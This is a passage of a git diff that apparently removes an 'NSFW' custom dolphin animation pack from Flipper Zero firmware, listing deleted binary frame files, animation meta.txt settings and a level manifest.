b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_2.bm deleted file mode 100644 index 59f9b2fcc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm deleted file mode 100644 index 2d0cfa6d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm deleted file mode 100644 index ae34e0931..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm deleted file mode 100644 index 23a1ee5f0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm deleted file mode 100644 index f38acbb92..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm deleted file mode 100644 index dcee3d025..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_8.bm deleted file mode 100644 index e0391e73a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm deleted file mode 100644 index edccb27c3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt deleted file mode 100644 index f169de719..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 14 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 \ No newline at end of file diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm deleted file mode 100644 index 2eb822da2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm deleted file mode 100644 index 3b5d6da7a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm deleted file mode 100644 index 6a797e4d9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm deleted file mode 100644 index 20b8ce106..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_4.bm deleted file mode 100644 index 7104d5003..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm deleted file mode 100644 index efd542a99..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt deleted file mode 100644 index cf387b42f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 4 5 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm deleted file mode 100644 index e6292c4fd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm deleted file mode 100644 index 41663eb51..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_2.bm deleted file mode 100644 index c8f2d87db..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_3.bm deleted file mode 100644 index 415ef5c3a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_4.bm deleted file mode 100644 index ad7392be1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_5.bm deleted file mode 100644 index ea44bd453..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_6.bm deleted file mode 100644 index 5e131183a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_7.bm deleted file mode 100644 index 337cdc355..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/meta.txt deleted file mode 100644 index c32dadf26..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/manifest.txt b/assets/resources/dolphin_custom/NSFW/Anims/manifest.txt deleted file mode 100644 index 4635b0744..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/manifest.txt +++ /dev/null @@ -1,219 +0,0 @@ -Filetype: Flipper Animation Manifest -Version: 1 - -Name: lvl_1 -Min butthurt: 0 -Max butthurt: 14 -Min level: 1 -Max level: 30 -Weight: 7 - -Name: lvl_2 -Min butthurt: 0 -Max butthurt: 14 -Min level: 2 -Max level: 30 -Weight: 7 - -Name: lvl_3 -Min butthurt: 0 -Max butthurt: 14 -Min level: 3 -Max level: 30 -Weight: 7 - -Name: lvl_4 -Min butthurt: 0 -Max butthurt: 14 -Min level: 4 -Max level: 30 -Weight: 7 - -Name: lvl_5 -Min butthurt: 0 -Max butthurt: 14 -Min level: 5 -Max level: 30 -Weight: 7 - -Name: lvl_6 -Min butthurt: 0 -Max butthurt: 14 -Min level: 6 -Max level: 30 -Weight: 7 - -Name: lvl_7 -Min butthurt: 0 -Max butthurt: 14 -Min level: 7 -Max level: 30 -Weight: 7 - -Name: lvl_8 -Min butthurt: 0 -Max butthurt: 14 -Min level: 8 -Max level: 30 -Weight: 7 - -Name: lvl_9 -Min butthurt: 0 -Max butthurt: 14 -Min level: 9 -Max level: 30 -Weight: 7 - -Name: lvl_10 -Min butthurt: 0 -Max butthurt: 14 -Min level: 10 -Max level: 30 -Weight: 7 - -Name: lvl_11 -Min butthurt: 0 -Max butthurt: 14 -Min level: 11 -Max level: 30 -Weight: 9 - -Name: PaxGod_TikTok_Marketing -Min butthurt: 0 -Max butthurt: 14 -Min level: 11 -Max level: 30 -Weight: 3 - -Name: lvl_12 -Min butthurt: 0 -Max butthurt: 14 -Min level: 12 -Max level: 30 -Weight: 7 - -Name: lvl_13 -Min butthurt: 0 -Max butthurt: 14 -Min level: 13 -Max level: 30 -Weight: 7 - -Name: lvl_14 -Min butthurt: 0 -Max butthurt: 14 -Min level: 14 -Max level: 30 -Weight: 7 - -Name: lvl_15 -Min butthurt: 0 -Max butthurt: 14 -Min level: 15 -Max level: 30 -Weight: 7 - -Name: lvl_16 -Min butthurt: 0 -Max butthurt: 14 -Min level: 16 -Max level: 30 -Weight: 7 - -Name: lvl_17 -Min butthurt: 0 -Max butthurt: 14 -Min level: 17 -Max level: 30 -Weight: 7 - -Name: lvl_18 -Min butthurt: 0 -Max butthurt: 14 -Min level: 18 -Max level: 30 -Weight: 7 - -Name: lvl_19 -Min butthurt: 0 -Max butthurt: 14 -Min level: 19 -Max level: 30 -Weight: 7 - -Name: lvl_20 -Min butthurt: 0 -Max butthurt: 14 -Min level: 20 -Max level: 30 -Weight: 7 - -Name: lvl_21 -Min butthurt: 0 -Max butthurt: 14 -Min level: 21 -Max level: 30 -Weight: 9 - -Name: lvl_22 -Min butthurt: 0 -Max butthurt: 14 -Min level: 22 -Max level: 30 -Weight: 7 - -Name: lvl_23 -Min butthurt: 0 -Max butthurt: 14 -Min level: 23 -Max level: 30 -Weight: 7 - -Name: lvl_24 -Min butthurt: 0 -Max butthurt: 14 -Min level: 24 -Max level: 30 -Weight: 7 - -Name: lvl_25 -Min butthurt: 0 -Max butthurt: 14 -Min level: 25 -Max level: 30 -Weight: 7 - -Name: lvl_26 -Min butthurt: 0 -Max butthurt: 14 -Min level: 26 -Max level: 30 -Weight: 7 - -Name: lvl_27 -Min butthurt: 0 -Max butthurt: 14 -Min level: 27 -Max level: 30 -Weight: 7 - -Name: lvl_28 -Min butthurt: 0 -Max butthurt: 14 -Min level: 28 -Max level: 30 -Weight: 7 - -Name: lvl_29 -Min butthurt: 0 -Max butthurt: 14 -Min level: 29 -Max level: 30 -Weight: 7 - -Name: lvl_30 -Min butthurt: 0 -Max butthurt: 14 -Min level: 30 -Max level: 30 -Weight: 9 diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_00.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_00.bm deleted file mode 100644 index d39d7c709..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_00.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_01.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_01.bm deleted file mode 100644 index c3bea7837..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_01.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_02.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_02.bm deleted file mode 100644 index 83fb1ac60..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_02.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_03.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_03.bm deleted file mode 100644 index feb5ab082..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_03.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_04.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_04.bm deleted file mode 100644 index 8929aaaf6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_04.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_05.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_05.bm deleted file mode 100644 index 2a9700a8e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_05.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_06.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_06.bm deleted file mode 100644 index d6ceacd02..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_06.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_07.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_07.bm deleted file mode 100644 index b4a87c26b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_07.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_08.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_08.bm deleted file mode 100644 index 4293da705..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_08.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_09.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_09.bm deleted file mode 100644 index b73177b87..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_09.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_10.bm deleted file mode 100644 index feb5ab082..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_11.bm deleted file mode 100644 index 8929aaaf6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_12.bm deleted file mode 100644 index 2a9700a8e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_13.bm deleted file mode 100644 index d6ceacd02..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_14.bm deleted file mode 100644 index b4a87c26b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_15.bm deleted file mode 100644 index 4293da705..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_16.bm deleted file mode 100644 index b73177b87..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_17.bm deleted file mode 100644 index d39d7c709..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_18.bm deleted file mode 100644 index c3bea7837..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_19.bm deleted file mode 100644 index 83fb1ac60..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_20.bm deleted file mode 100644 index d39d7c709..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_21.bm deleted file mode 100644 index c3bea7837..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_22.bm deleted file mode 100644 index 83fb1ac60..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_23.bm deleted file mode 100644 index feb5ab082..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_24.bm deleted file mode 100644 index 8929aaaf6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_25.bm deleted file mode 100644 index 2a9700a8e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_26.bm deleted file mode 100644 index d6ceacd02..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_27.bm deleted file mode 100644 index b4a87c26b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_28.bm deleted file mode 100644 index 4293da705..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_29.bm deleted file mode 100644 index b73177b87..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_30.bm deleted file mode 100644 index feb5ab082..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_31.bm deleted file mode 100644 index 4e8a8694d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/meta b/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/meta deleted file mode 100644 index 485a421b6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Animations/Levelup_128x64/meta and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/BLE/BLE_Pairing_128x64.bmx b/assets/resources/dolphin_custom/NSFW/Icons/BLE/BLE_Pairing_128x64.bmx deleted file mode 100644 index 4ab6aef41..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/BLE/BLE_Pairing_128x64.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Dolphin/DolphinCommon_56x48.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Dolphin/DolphinCommon_56x48.bmx deleted file mode 100644 index 818b00500..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Dolphin/DolphinCommon_56x48.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Infrared/DolphinReadingSuccess_59x63.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Infrared/DolphinReadingSuccess_59x63.bmx deleted file mode 100644 index 9dc1e5dcf..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Infrared/DolphinReadingSuccess_59x63.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/NFC/NFC_dolphin_emulation_47x61.bmx b/assets/resources/dolphin_custom/NSFW/Icons/NFC/NFC_dolphin_emulation_47x61.bmx deleted file mode 100644 index 03c6304a2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/NFC/NFC_dolphin_emulation_47x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_DB.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_DB.bmx deleted file mode 100644 index 8af359b94..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_DB.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_bad_46x49.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_bad_46x49.bmx deleted file mode 100644 index 715815f0c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_bad_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx deleted file mode 100644 index 715815f0c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_happy_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx deleted file mode 100644 index 715815f0c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Passport/passport_okay_46x49.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx deleted file mode 100644 index cb92216c4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinReceive_97x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx deleted file mode 100644 index 8932c5ed3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx b/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx deleted file mode 100644 index 3eefd86bc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/RFID/RFIDDolphinSuccess_108x57.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx deleted file mode 100644 index 22a76dd4d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/Settings/Cry_dolph_55x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx deleted file mode 100644 index 75f57367c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Fishing_123x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx b/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx deleted file mode 100644 index 75f57367c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/SubGhz/Scanning_123x52.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx deleted file mode 100644 index a13ee8f9d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Auth_62x31.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx deleted file mode 100644 index 0f5f60859..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connect_me_62x31.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx deleted file mode 100644 index e4c689eb6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Connected_62x31.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Error_62x31.bmx b/assets/resources/dolphin_custom/NSFW/Icons/U2F/Error_62x31.bmx deleted file mode 100644 index b6bc02baa..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Icons/U2F/Error_62x31.bmx and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Icons/iButton/DolphinMafia_115x62.bmx 